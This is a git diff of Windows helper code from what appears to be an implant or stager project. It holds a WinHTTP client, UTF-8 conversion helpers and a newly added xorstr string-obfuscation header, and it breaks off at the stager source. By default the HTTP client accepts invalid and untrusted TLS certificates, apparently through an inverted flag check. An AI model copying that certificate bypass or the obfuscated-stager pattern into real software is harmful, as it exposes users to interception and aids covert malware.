-// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include "win32.h" - - -stl::string GetFolderPath(unsigned id) -{ - char path[MAX_PATH]{}; - SHGetFolderPathA(nullptr, id, nullptr, SHGFP_TYPE_DEFAULT, path); - return path; -} - -stl::vector to_wstring(const stl::string& str) -{ - stl::vector result; - if (auto need = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast(str.size()), nullptr, 0)) - { - result.resize(static_cast(need) + 1, L'\0'); - MultiByteToWideChar(CP_UTF8, 0, str.c_str(), - static_cast(str.size()), result.data(), static_cast(result.size())); - } - return result; -} - -stl::string from_wstring(const wchar_t* str) -{ - stl::string result; - int len = static_cast(wcslen(str)); - if (auto need = WideCharToMultiByte(CP_UTF8, 0, str, len, nullptr, 0, nullptr, nullptr)) - { - result.resize(static_cast(need) + 1); - WideCharToMultiByte(CP_UTF8, 0, str, len, &result.at(0), static_cast(result.size()), nullptr, nullptr); - } - return result; -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include "win32.h" + + +stl::string GetFolderPath(unsigned id) +{ + char path[MAX_PATH]{}; + SHGetFolderPathA(nullptr, id, nullptr, SHGFP_TYPE_DEFAULT, path); + return path; +} + +stl::vector to_wstring(const stl::string& str) +{ + stl::vector result; + if (auto need = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), static_cast(str.size()), nullptr, 0)) + { + result.resize(static_cast(need) + 1, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, str.c_str(), + static_cast(str.size()), result.data(), static_cast(result.size())); + } + return result; +} + +stl::string from_wstring(const wchar_t* str) +{ + stl::string result; + int len = static_cast(wcslen(str)); + if (auto need = WideCharToMultiByte(CP_UTF8, 0, str, len, nullptr, 0, nullptr, nullptr)) + { + result.resize(static_cast(need) + 1); + WideCharToMultiByte(CP_UTF8, 0, str, len, &result.at(0), static_cast(result.size()), nullptr, nullptr); + } + return result; +} diff --git a/src/shared/win32.h b/src/shared/win32.h index 8a07080..3ad7884 100644 --- a/src/shared/win32.h +++ b/src/shared/win32.h @@ -1,31 +1,31 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#include -#include - -stl::string GetFolderPath(unsigned id); -stl::vector to_wstring(const stl::string& str); -stl::string from_wstring(const wchar_t* str); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include +#include + +stl::string GetFolderPath(unsigned id); +stl::vector to_wstring(const stl::string& str); +stl::string from_wstring(const wchar_t* str); diff --git a/src/shared/winhttp.cpp b/src/shared/winhttp.cpp index 135cad8..e731161 100644 --- a/src/shared/winhttp.cpp +++ b/src/shared/winhttp.cpp @@ -1,220 +1,220 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include -#include -#include -#include -#include // std::move -#include "win32.h" -#include "winhttp.h" - - -HttpRequest::~HttpRequest() -{ - if (internet) - WinHttpCloseHandle(internet); -} - -HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method) -{ - HttpResponse response{}; - stl::vector verb = to_wstring(method.to_upper()); - - if (request.internet == nullptr) - { - request.internet = WinHttpOpen(to_wstring(request.user_agent).data(), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, - WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); - - if (request.internet == nullptr) - return {}; - - WinHttpSetTimeouts(request.internet, request.resolve_timeout, request.connect_timeout, request.send_timeout, - request.receive_timeout); - } - - stl::vector wHostName(MAX_PATH, 0); - stl::vector wUrlPath(MAX_PATH * 5, 0); - URL_COMPONENTS urlParts{}; - urlParts.dwStructSize = sizeof(urlParts); - urlParts.lpszHostName = wHostName.data(); - urlParts.dwHostNameLength = static_cast(wHostName.size()); - urlParts.lpszUrlPath = wUrlPath.data(); - urlParts.dwUrlPathLength = static_cast(wUrlPath.size()); - urlParts.dwSchemeLength = 1; // None zero - - auto wUrl = to_wstring(url); - if (!WinHttpCrackUrl(wUrl.data(), (DWORD) wUrl.size(), 0, &urlParts)) - return {}; - - HINTERNET hConnect = WinHttpConnect(request.internet, wHostName.data(), urlParts.nPort, 0); - if (!hConnect) - return {}; - - struct AutoCloseWinHttpHandle - { - HINTERNET handle; - ~AutoCloseWinHttpHandle() - { - WinHttpCloseHandle(handle); - } - } autoCloseHConnect{hConnect}; - - HINTERNET hRequest = WinHttpOpenRequest(hConnect, verb.data(), urlParts.lpszUrlPath, nullptr, WINHTTP_NO_REFERER, - WINHTTP_DEFAULT_ACCEPT_TYPES, (urlParts.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0); - - if (!hRequest) - return {}; - - AutoCloseWinHttpHandle autoCloseHRequest{hRequest}; - - // If HTTPS, then client is very susceptable to invalid certificates - // Easiest to accept anything for now - if (urlParts.nScheme == INTERNET_SCHEME_HTTPS && !(request.flags & NoValidateSSL)) - { - DWORD option = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; - WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, (LPVOID)&option, sizeof(DWORD)); - } - - // keep-alive - { - DWORD option = WINHTTP_DISABLE_KEEP_ALIVE; - WinHttpSetOption(hRequest, (request.flags & KeepAlive) ? - WINHTTP_OPTION_ENABLE_FEATURE : WINHTTP_OPTION_DISABLE_FEATURE, (LPVOID)&option, sizeof(option)); - } - - if (!request.headers.empty()) - { - stl::string all_headers; - for (auto& header : request.headers) - { - all_headers += header.first; - all_headers += ": "; - all_headers += header.second; - all_headers += "\r\n"; - } - assert(all_headers.size() > 2); - all_headers = all_headers.substring(0, static_cast(all_headers.size() - 2)); - - auto wHeaders = to_wstring(all_headers); - if (!WinHttpAddRequestHeaders(hRequest, wHeaders.data(), (DWORD) wHeaders.size(), - WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON)) - return {}; - } - - if (request.flags & NoRedirect) - { - auto flag = WINHTTP_DISABLE_REDIRECTS; - if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_DISABLE_FEATURE, &flag, sizeof(flag))) - return {}; - } - - // Retry for several times if fails. - if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, request.content.data(), (DWORD)request.content.size(), (DWORD)request.content.size(), 0)) - return {}; - - if (!WinHttpReceiveResponse(hRequest, nullptr)) - return {}; - - DWORD size = 0; - WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, nullptr, &size, nullptr); - - stl::vector responseHeaders(size + 1, 0); - if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, responseHeaders.data(), &size, nullptr)) - { - stl::string response_headers = from_wstring(responseHeaders.data()); - - for (unsigned pos = response_headers.find("\r\n", 0) + 2; pos < response_headers.size();) - { - unsigned name_start = pos; - unsigned name_end = response_headers.find(": ", name_start); - if (name_end == stl::string::npos) - break; - unsigned content_start = name_end + 2; - unsigned content_end = response_headers.find("\r\n", content_start); - if (content_end == stl::string::npos) - content_end = static_cast(response_headers.size()); - - response.headers.insert({ - stl::string(response_headers.c_str() + name_start, name_end - name_start), - stl::string(response_headers.c_str() + content_start, content_end - content_start) - }); - pos = content_end + 2; - } - } - - size = sizeof(response.status); - WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, nullptr, &response.status, &size, nullptr); - - response.content = ""; - stl::vector buffer; - do - { - size = 0; - if (WinHttpQueryDataAvailable(hRequest, &size)) - { - buffer.resize(size, 0); - { - DWORD read = 0; - if (WinHttpReadData(hRequest, buffer.data(), size, &read)) - { - response.content.reserve(response.content.size() + read); - for (unsigned char c : buffer) - response.content.push_back(c); - } - } - } - else - return {}; - } while (size > 0); - - //Content-Length - - auto it = response.headers.find("Content-Encoding"); - if (it != response.headers.end() && (*it).second == "gzip") - { - stl::string buf; - auto size = response.content.size() * 10; - for (int i = 0; i < 3; i++) - { - buf.resize(size); - - mini_gzip gz{ }; - mini_gz_init(&gz); - mini_gz_start(&gz, (void*) response.content.c_str(), response.content.size()); - - int len = mini_gz_unpack(&gz, &buf.at(0), buf.size()); - if (len > 0) - { - response.content = std::move(buf); - response.content.resize(static_cast(len)); - break; - } - else - size *= 2; - } - } - - return response; -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include // std::move +#include "win32.h" +#include "winhttp.h" + + +HttpRequest::~HttpRequest() +{ + if (internet) + WinHttpCloseHandle(internet); +} + +HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method) +{ + HttpResponse response{}; + stl::vector verb = to_wstring(method.to_upper()); + + if (request.internet == nullptr) + { + request.internet = WinHttpOpen(to_wstring(request.user_agent).data(), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + + if (request.internet == nullptr) + return {}; + + WinHttpSetTimeouts(request.internet, request.resolve_timeout, request.connect_timeout, request.send_timeout, + request.receive_timeout); + } + + stl::vector wHostName(MAX_PATH, 0); + stl::vector wUrlPath(MAX_PATH * 5, 0); + URL_COMPONENTS urlParts{}; + urlParts.dwStructSize = sizeof(urlParts); + urlParts.lpszHostName = wHostName.data(); + urlParts.dwHostNameLength = static_cast(wHostName.size()); + urlParts.lpszUrlPath = wUrlPath.data(); + urlParts.dwUrlPathLength = static_cast(wUrlPath.size()); + urlParts.dwSchemeLength = 1; // None zero + + auto wUrl = to_wstring(url); + if (!WinHttpCrackUrl(wUrl.data(), (DWORD) wUrl.size(), 0, &urlParts)) + return {}; + + HINTERNET hConnect = WinHttpConnect(request.internet, wHostName.data(), urlParts.nPort, 0); + if (!hConnect) + return {}; + + struct AutoCloseWinHttpHandle + { + HINTERNET handle; + ~AutoCloseWinHttpHandle() + { + WinHttpCloseHandle(handle); + } + } autoCloseHConnect{hConnect}; + + HINTERNET hRequest = WinHttpOpenRequest(hConnect, verb.data(), urlParts.lpszUrlPath, nullptr, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, (urlParts.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0); + + if (!hRequest) + return {}; + + AutoCloseWinHttpHandle autoCloseHRequest{hRequest}; + + // If HTTPS, then client is very susceptable to invalid certificates + // Easiest to accept anything for now + if (urlParts.nScheme == INTERNET_SCHEME_HTTPS && !(request.flags & NoValidateSSL)) + { + DWORD option = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; + WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, (LPVOID)&option, sizeof(DWORD)); + } + + // keep-alive + { + DWORD option = WINHTTP_DISABLE_KEEP_ALIVE; + WinHttpSetOption(hRequest, (request.flags & KeepAlive) ? + WINHTTP_OPTION_ENABLE_FEATURE : WINHTTP_OPTION_DISABLE_FEATURE, (LPVOID)&option, sizeof(option)); + } + + if (!request.headers.empty()) + { + stl::string all_headers; + for (auto& header : request.headers) + { + all_headers += header.first; + all_headers += ": "; + all_headers += header.second; + all_headers += "\r\n"; + } + assert(all_headers.size() > 2); + all_headers = all_headers.substring(0, static_cast(all_headers.size() - 2)); + + auto wHeaders = to_wstring(all_headers); + if (!WinHttpAddRequestHeaders(hRequest, wHeaders.data(), (DWORD) wHeaders.size(), + WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON)) + return {}; + } + + if (request.flags & NoRedirect) + { + auto flag = WINHTTP_DISABLE_REDIRECTS; + if (!WinHttpSetOption(hRequest, WINHTTP_OPTION_DISABLE_FEATURE, &flag, sizeof(flag))) + return {}; + } + + // Retry for several times if fails. + if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, request.content.data(), (DWORD)request.content.size(), (DWORD)request.content.size(), 0)) + return {}; + + if (!WinHttpReceiveResponse(hRequest, nullptr)) + return {}; + + DWORD size = 0; + WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, nullptr, &size, nullptr); + + stl::vector responseHeaders(size + 1, 0); + if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, nullptr, responseHeaders.data(), &size, nullptr)) + { + stl::string response_headers = from_wstring(responseHeaders.data()); + + for (unsigned pos = response_headers.find("\r\n", 0) + 2; pos < response_headers.size();) + { + unsigned name_start = pos; + unsigned name_end = response_headers.find(": ", name_start); + if (name_end == stl::string::npos) + break; + unsigned content_start = name_end + 2; + unsigned content_end = response_headers.find("\r\n", content_start); + if (content_end == stl::string::npos) + content_end = static_cast(response_headers.size()); + + response.headers.insert({ + stl::string(response_headers.c_str() + name_start, name_end - name_start), + stl::string(response_headers.c_str() + content_start, content_end - content_start) + }); + pos = content_end + 2; + } + } + + size = sizeof(response.status); + WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, nullptr, &response.status, &size, nullptr); + + response.content = ""; + stl::vector buffer; + do + { + size = 0; + if (WinHttpQueryDataAvailable(hRequest, &size)) + { + buffer.resize(size, 0); + { + DWORD read = 0; + if (WinHttpReadData(hRequest, buffer.data(), size, &read)) + { + response.content.reserve(response.content.size() + read); + for (unsigned char c : buffer) + response.content.push_back(c); + } + } + } + else + return {}; + } while (size > 0); + + //Content-Length + + auto it = response.headers.find("Content-Encoding"); + if (it != response.headers.end() && (*it).second == "gzip") + { + stl::string buf; + auto size = response.content.size() * 10; + for (int i = 0; i < 3; i++) + { + buf.resize(size); + + mini_gzip gz{ }; + mini_gz_init(&gz); + mini_gz_start(&gz, (void*) response.content.c_str(), response.content.size()); + + int len = mini_gz_unpack(&gz, &buf.at(0), buf.size()); + if (len > 0) + { + response.content = std::move(buf); + response.content.resize(static_cast(len)); + break; + } + else + size *= 2; + } + } + + return response; +} diff --git a/src/shared/winhttp.h b/src/shared/winhttp.h index 8cd7292..9e3dc8a 100644 --- a/src/shared/winhttp.h +++ b/src/shared/winhttp.h @@ -1,71 +1,71 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -//s -#pragma once - - -#include -#include -#include -#include - -enum HttpRequestFlags -{ - NoRedirect = 1, - KeepAlive = 2, - NoValidateSSL = 4, -}; - -enum HttpStatus -{ - HttpOk = 200, - HttpUnknownError = ~0U, -}; - -struct HttpRequest -{ - HttpRequest() = default; - ~HttpRequest(); - - HINTERNET internet{}; - stl::unordered_map headers{}; - stl::string user_agent{"HttpClient"}; - stl::vector content; - unsigned resolve_timeout = 10000; - unsigned connect_timeout = 30000; - unsigned send_timeout = 30000; - unsigned receive_timeout = 30000; - unsigned flags = HttpUnknownError; - -private: - HttpRequest(const HttpRequest&) { }; -}; - -struct HttpResponse -{ - unsigned status = ~0U; - stl::unordered_map headers; - stl::string content; -}; - -HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method = "GET"); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +//s +#pragma once + + +#include +#include +#include +#include + +enum HttpRequestFlags +{ + NoRedirect = 1, + KeepAlive = 2, + NoValidateSSL = 4, +}; + +enum HttpStatus +{ + HttpOk = 200, + HttpUnknownError = ~0U, +}; + +struct HttpRequest +{ + HttpRequest() = default; + ~HttpRequest(); + + HINTERNET internet{}; + stl::unordered_map headers{}; + stl::string user_agent{"HttpClient"}; + stl::vector content; + unsigned resolve_timeout = 10000; + unsigned connect_timeout = 30000; + unsigned send_timeout = 30000; + unsigned receive_timeout = 30000; + unsigned flags = HttpUnknownError; + +private: + HttpRequest(const HttpRequest&) { }; +}; + +struct HttpResponse +{ + unsigned status = ~0U; + stl::unordered_map headers; + stl::string content; +}; + +HttpResponse send_http_request(HttpRequest& request, const stl::string& url, const stl::string& method = "GET"); diff --git a/src/shared/xorstr.hpp b/src/shared/xorstr.hpp new file mode 100644 index 0000000..6859e02 --- /dev/null +++ b/src/shared/xorstr.hpp @@ -0,0 +1,249 @@ +/* + * Copyright 2017 - 2018 Justas Masiulis + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifndef JM_XORSTR_HPP +#define JM_XORSTR_HPP + +#include +#include +#include +#include + +#define xorstr(str) \ + ::jm::make_xorstr( \ + []() { return str; }, \ + std::make_index_sequence{}, \ + std::make_index_sequence<::jm::detail::_buffer_size()>{}) +#define xorstr_(str) xorstr(str).crypt_get() + +#ifdef _MSC_VER +#define XORSTR_FORCEINLINE __forceinline +#else +#define XORSTR_FORCEINLINE __attribute__((always_inline)) +#endif + +// you can define this macro to get possibly faster code on gcc/clang +// at the expense of constants being put into data section. +#if !defined(XORSTR_ALLOW_DATA) +// MSVC - no volatile +// GCC and clang - volatile everywhere +#if defined(__clang__) || defined(__GNUC__) +#define XORSTR_VOLATILE volatile +#endif + +#endif +#ifndef XORSTR_VOLATILE +#define XORSTR_VOLATILE +#endif + +namespace jm { + + namespace detail { + + template + struct unsigned_; + + template<> + struct unsigned_<1> { + using type = std::uint8_t; + }; + template<> + struct unsigned_<2> { + using type = std::uint16_t; + }; + template<> + struct unsigned_<4> { + using type = std::uint32_t; + }; + + template + struct pack_value_type { + using type = decltype(C); + }; + + template + constexpr std::size_t _buffer_size() + { + return ((Size / 16) + (Size % 16 != 0)) * 2; + } + + template + struct tstring_ { + using value_type = typename pack_value_type::type; + constexpr static std::size_t size = sizeof...(Cs); + constexpr static value_type str[size] = { Cs... }; + + constexpr static std::size_t buffer_size = _buffer_size(); + constexpr static std::size_t buffer_align = +#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS + ((sizeof(str) > 16) ? 32 : 16); +#else + 16; +#endif + }; + + template + struct _ki { + constexpr static std::size_t idx = I; + constexpr static std::uint64_t key = K; + }; + + template + constexpr std::uint32_t key4() noexcept + { + std::uint32_t value = Seed; + for(char c : __TIME__) + value = static_cast((value ^ c) * 16777619ull); + return value; + } + + template + constexpr std::uint64_t key8() + { + constexpr auto first_part = key4<2166136261 + S>(); + constexpr auto second_part = key4(); + return (static_cast(first_part) << 32) | second_part; + } + + // clang and gcc try really hard to place the constants in data + // sections. to counter that there was a need to create an intermediate + // constexpr string and then copy it into a non constexpr container with + // volatile storage so that the constants would be placed directly into + // code. + template + struct string_storage { + std::uint64_t storage[T::buffer_size]; + + XORSTR_FORCEINLINE constexpr string_storage() noexcept : storage{ Keys... } + { + using cast_type = + typename unsigned_::type; + constexpr auto value_size = sizeof(typename T::value_type); + // puts the string into 64 bit integer blocks in a constexpr + // fashion + for(std::size_t i = 0; i < T::size; ++i) + storage[i / (8 / value_size)] ^= + (std::uint64_t{ static_cast(T::str[i]) } + << ((i % (8 / value_size)) * 8 * value_size)); + } + }; + + } // namespace detail + + template + class xor_string { + alignas(T::buffer_align) std::uint64_t _storage[T::buffer_size]; + + // _single functions needed because MSVC crashes without them + XORSTR_FORCEINLINE void _crypt_256_single(const std::uint64_t* keys, + std::uint64_t* storage) noexcept + + { + _mm256_store_si256( + reinterpret_cast<__m256i*>(storage), + _mm256_xor_si256( + _mm256_load_si256(reinterpret_cast(storage)), + _mm256_load_si256(reinterpret_cast(keys)))); + } + + template + XORSTR_FORCEINLINE void _crypt_256(const std::uint64_t* keys, + std::index_sequence) noexcept + { + (_crypt_256_single(keys + Idxs * 4, _storage + Idxs * 4), ...); + } + + XORSTR_FORCEINLINE void _crypt_128_single(const std::uint64_t* keys, + std::uint64_t* storage) noexcept + { + _mm_store_si128( + reinterpret_cast<__m128i*>(storage), + _mm_xor_si128(_mm_load_si128(reinterpret_cast(storage)), + _mm_load_si128(reinterpret_cast(keys)))); + } + + template + XORSTR_FORCEINLINE void _crypt_128(const std::uint64_t* keys, + std::index_sequence) noexcept + { + (_crypt_128_single(keys + Idxs * 2, _storage + Idxs * 2), ...); + } + + // loop generates vectorized code which places constants in data dir + XORSTR_FORCEINLINE constexpr void _copy() noexcept + { + constexpr detail::string_storage storage; + static_cast(std::initializer_list{ + (const_cast(_storage))[Keys::idx] = + storage.storage[Keys::idx]... }); + } + + public: + using value_type = typename T::value_type; + using size_type = std::size_t; + using pointer = value_type*; + using const_pointer = const pointer; + + XORSTR_FORCEINLINE xor_string() noexcept { _copy(); } + + XORSTR_FORCEINLINE constexpr size_type size() const noexcept + { + return T::size - 1; + } + + XORSTR_FORCEINLINE void crypt() noexcept + { + alignas(T::buffer_align) std::uint64_t keys[T::buffer_size]; + static_cast(std::initializer_list{ + (const_cast(keys))[Keys::idx] = + Keys::key... }); + + _copy(); + +#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS + _crypt_256(keys, std::make_index_sequence{}); + if constexpr(T::buffer_size % 4 != 0) + _crypt_128(keys, std::index_sequence{}); +#else + _crypt_128(keys, std::make_index_sequence{}); +#endif + } + + XORSTR_FORCEINLINE const_pointer get() const noexcept + { + return reinterpret_cast(_storage); + } + + XORSTR_FORCEINLINE const_pointer crypt_get() noexcept + { + crypt(); + return reinterpret_cast(_storage); + } + }; + + template + XORSTR_FORCEINLINE constexpr auto + make_xorstr(Tstr str_lambda, + std::index_sequence, + std::index_sequence) noexcept + { + return xor_string, + detail::_ki()>...>{}; + } + +} // namespace jm + +#endif // include guard diff --git a/src/stager/stager.c b/src/stager/stager.c index 0b18f3f..3a765fb 100644 --- a/src/stager/stager.c +++ b/src/stager/stager.c @@ -1,154 +1,154 @@ -// 